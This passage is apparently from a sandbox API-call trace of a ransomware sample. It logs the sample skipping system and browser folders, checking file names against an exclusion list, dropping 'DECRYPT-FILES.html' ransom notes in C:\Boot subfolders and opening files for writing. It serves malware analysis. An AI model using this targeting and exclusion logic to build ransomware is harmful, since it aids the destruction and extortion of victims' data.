ftCreationTime.dwLowDateTime=0x88aa1830, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88aa1830, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88aa1830, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0058.221] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0058.221] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0058.221] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0058.221] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0058.221] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0058.221] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0058.221] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0058.221] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0058.221] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0058.221] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0058.222] lstrlenW (lpString="C:\\Boot\\fr-FR\\") returned 14 [0058.222] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.222] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\fr-FR\\" | out: lpString1="C:\\Boot\\fr-FR\\") returned="C:\\Boot\\fr-FR\\" [0058.222] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Boot\\fr-FR\\wevkgn5.dat") returned="C:\\Boot\\fr-FR\\wevkgn5.dat" [0058.222] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.222] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\wevkgn5.dat" (normalized: "c:\\boot\\fr-fr\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.222] CloseHandle (hObject=0x0) returned 0 [0058.222] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.222] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88aa1830, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88aa1830, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88aa1830, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0058.223] FindClose (in: hFindFile=0x66cfd8 | out: hFindFile=0x66cfd8) returned 1 [0058.223] CloseHandle (hObject=0x280) returned 1 [0058.223] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0058.223] lstrcmpW (lpString1="hu-HU", lpString2=".") returned 1 [0058.223] lstrcmpW (lpString1="hu-HU", lpString2="..") returned 1 [0058.223] lstrcatW (in: lpString1="hu-HU", lpString2="\\" | out: lpString1="hu-HU\\") returned="hu-HU\\" [0058.223] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="hu-HU\\" | out: lpString1="C:\\Boot\\hu-HU\\") returned="C:\\Boot\\hu-HU\\" [0058.223] StrStrW (lpFirst="C:\\Boot\\hu-HU\\", lpSrch=":\\Windows") returned 0x0 [0058.223] StrStrW (lpFirst="C:\\Boot\\hu-HU\\", lpSrch="\\Program Files") returned 0x0 [0058.223] StrStrW (lpFirst="C:\\Boot\\hu-HU\\", lpSrch="\\Games\\") returned 0x0 [0058.223] StrStrW (lpFirst="C:\\Boot\\hu-HU\\", lpSrch="\\Tor Browser\\") returned 0x0 [0058.223] StrStrW (lpFirst="C:\\Boot\\hu-HU\\", lpSrch="\\ProgramData\\") returned 0x0 [0058.223] StrStrW (lpFirst="C:\\Boot\\hu-HU\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0058.223] StrStrW (lpFirst="C:\\Boot\\hu-HU\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0058.223] StrStrW (lpFirst="C:\\Boot\\hu-HU\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0058.223] StrStrW (lpFirst="C:\\Boot\\hu-HU\\", lpSrch="\\All Users") returned 0x0 [0058.223] lstrlenW (lpString="C:\\Boot\\hu-HU\\") returned 14 [0058.223] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.223] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\hu-HU\\\\wevkgn5.dat") returned 26 [0058.223] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\\\wevkgn5.dat" (normalized: "c:\\boot\\hu-hu\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x280 [0058.224] lstrlenW (lpString="C:\\Boot\\hu-HU\\") returned 14 [0058.224] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0058.224] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\hu-HU\\\\DECRYPT-FILES.html") returned 33 [0058.224] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\\\DECRYPT-FILES.html" (normalized: "c:\\boot\\hu-hu\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0058.224] WriteFile (in: hFile=0x2f8, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0058.225] CloseHandle (hObject=0x2f8) returned 1 [0058.226] lstrlenW (lpString="C:\\Boot\\hu-HU\\") returned 14 [0058.226] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="*" | out: lpString1="C:\\Boot\\hu-HU\\*") returned="C:\\Boot\\hu-HU\\*" [0058.226] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88aa1830, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88aa1830, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cfd8 [0058.226] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0058.226] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88aa1830, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88aa1830, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.226] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0058.226] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0058.226] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0058.226] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="DECRYPT-FILES.html") returned -1 [0058.226] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0058.226] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0058.226] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0058.226] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0058.226] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0058.226] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0058.226] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0058.226] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0058.227] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Bootfont.bin") returned 1 [0058.227] lstrlenW (lpString="C:\\Boot\\hu-HU\\") returned 14 [0058.227] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0058.227] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\hu-HU\\" | out: lpString1="C:\\Boot\\hu-HU\\") returned="C:\\Boot\\hu-HU\\" [0058.227] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned="C:\\Boot\\hu-HU\\bootmgr.exe.mui" [0058.227] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.227] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.227] CloseHandle (hObject=0x0) returned 0 [0058.227] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.227] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88aa1830, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88aa1830, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88aa1830, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0058.228] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0058.228] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88aa1830, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88aa1830, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88aa1830, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0058.228] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0058.228] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0058.228] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0058.228] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0058.228] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0058.228] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0058.228] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0058.228] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0058.228] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0058.228] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0058.228] lstrlenW (lpString="C:\\Boot\\hu-HU\\") returned 14 [0058.228] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.228] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\hu-HU\\" | out: lpString1="C:\\Boot\\hu-HU\\") returned="C:\\Boot\\hu-HU\\" [0058.228] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Boot\\hu-HU\\wevkgn5.dat") returned="C:\\Boot\\hu-HU\\wevkgn5.dat" [0058.228] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.228] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\wevkgn5.dat" (normalized: "c:\\boot\\hu-hu\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.229] CloseHandle (hObject=0x0) returned 0 [0058.229] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.229] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88aa1830, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88aa1830, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88aa1830, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0058.229] FindClose (in: hFindFile=0x66cfd8 | out: hFindFile=0x66cfd8) returned 1 [0058.229] CloseHandle (hObject=0x280) returned 1 [0058.229] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0058.229] lstrcmpW (lpString1="it-IT", lpString2=".") returned 1 [0058.229] lstrcmpW (lpString1="it-IT", lpString2="..") returned 1 [0058.229] lstrcatW (in: lpString1="it-IT", lpString2="\\" | out: lpString1="it-IT\\") returned="it-IT\\" [0058.229] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="it-IT\\" | out: lpString1="C:\\Boot\\it-IT\\") returned="C:\\Boot\\it-IT\\" [0058.229] StrStrW (lpFirst="C:\\Boot\\it-IT\\", lpSrch=":\\Windows") returned 0x0 [0058.229] StrStrW (lpFirst="C:\\Boot\\it-IT\\", lpSrch="\\Program Files") returned 0x0 [0058.258] StrStrW (lpFirst="C:\\Boot\\it-IT\\", lpSrch="\\Games\\") returned 0x0 [0058.258] StrStrW (lpFirst="C:\\Boot\\it-IT\\", lpSrch="\\Tor Browser\\") returned 0x0 [0058.258] StrStrW (lpFirst="C:\\Boot\\it-IT\\", lpSrch="\\ProgramData\\") returned 0x0 [0058.258] StrStrW (lpFirst="C:\\Boot\\it-IT\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0058.258] StrStrW (lpFirst="C:\\Boot\\it-IT\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0058.258] StrStrW (lpFirst="C:\\Boot\\it-IT\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0058.258] StrStrW (lpFirst="C:\\Boot\\it-IT\\", lpSrch="\\All Users") returned 0x0 [0058.258] lstrlenW (lpString="C:\\Boot\\it-IT\\") returned 14 [0058.258] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.258] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\it-IT\\\\wevkgn5.dat") returned 26 [0058.258] CreateFileW (lpFileName="C:\\Boot\\it-IT\\\\wevkgn5.dat" (normalized: "c:\\boot\\it-it\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x280 [0058.261] lstrlenW (lpString="C:\\Boot\\it-IT\\") returned 14 [0058.261] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0058.261] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\it-IT\\\\DECRYPT-FILES.html") returned 33 [0058.261] CreateFileW (lpFileName="C:\\Boot\\it-IT\\\\DECRYPT-FILES.html" (normalized: "c:\\boot\\it-it\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0058.261] WriteFile (in: hFile=0x2f8, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0058.262] CloseHandle (hObject=0x2f8) returned 1 [0058.263] lstrlenW (lpString="C:\\Boot\\it-IT\\") returned 14 [0058.263] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="*" | out: lpString1="C:\\Boot\\it-IT\\*") returned="C:\\Boot\\it-IT\\*" [0058.263] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88b13c50, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88b13c50, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cfd8 [0058.263] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0058.263] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88b13c50, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88b13c50, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.263] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0058.263] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0058.263] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0058.263] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="DECRYPT-FILES.html") returned -1 [0058.263] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0058.263] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0058.263] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0058.263] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0058.263] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0058.263] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0058.263] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0058.263] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0058.263] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Bootfont.bin") returned 1 [0058.263] lstrlenW (lpString="C:\\Boot\\it-IT\\") returned 14 [0058.263] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0058.264] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\it-IT\\" | out: lpString1="C:\\Boot\\it-IT\\") returned="C:\\Boot\\it-IT\\" [0058.264] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned="C:\\Boot\\it-IT\\bootmgr.exe.mui" [0058.264] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.264] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.264] CloseHandle (hObject=0x0) returned 0 [0058.264] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.264] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88b13c50, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88b13c50, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88b13c50, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0058.264] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0058.264] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88aedaf0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88aedaf0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88aedaf0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0058.265] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0058.265] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0058.265] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0058.265] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0058.265] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0058.265] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0058.265] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0058.265] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0058.265] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0058.265] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0058.265] lstrlenW (lpString="C:\\Boot\\it-IT\\") returned 14 [0058.265] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.265] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\it-IT\\" | out: lpString1="C:\\Boot\\it-IT\\") returned="C:\\Boot\\it-IT\\" [0058.265] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Boot\\it-IT\\wevkgn5.dat") returned="C:\\Boot\\it-IT\\wevkgn5.dat" [0058.265] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.265] CreateFileW (lpFileName="C:\\Boot\\it-IT\\wevkgn5.dat" (normalized: "c:\\boot\\it-it\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.265] CloseHandle (hObject=0x0) returned 0 [0058.265] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.266] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88aedaf0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88aedaf0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88aedaf0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0058.266] FindClose (in: hFindFile=0x66cfd8 | out: hFindFile=0x66cfd8) returned 1 [0058.266] CloseHandle (hObject=0x280) returned 1 [0058.266] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0058.266] lstrcmpW (lpString1="ja-JP", lpString2=".") returned 1 [0058.266] lstrcmpW (lpString1="ja-JP", lpString2="..") returned 1 [0058.266] lstrcatW (in: lpString1="ja-JP", lpString2="\\" | out: lpString1="ja-JP\\") returned="ja-JP\\" [0058.266] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ja-JP\\" | out: lpString1="C:\\Boot\\ja-JP\\") returned="C:\\Boot\\ja-JP\\" [0058.266] StrStrW (lpFirst="C:\\Boot\\ja-JP\\", lpSrch=":\\Windows") returned 0x0 [0058.266] StrStrW (lpFirst="C:\\Boot\\ja-JP\\", lpSrch="\\Program Files") returned 0x0 [0058.266] StrStrW (lpFirst="C:\\Boot\\ja-JP\\", lpSrch="\\Games\\") returned 0x0 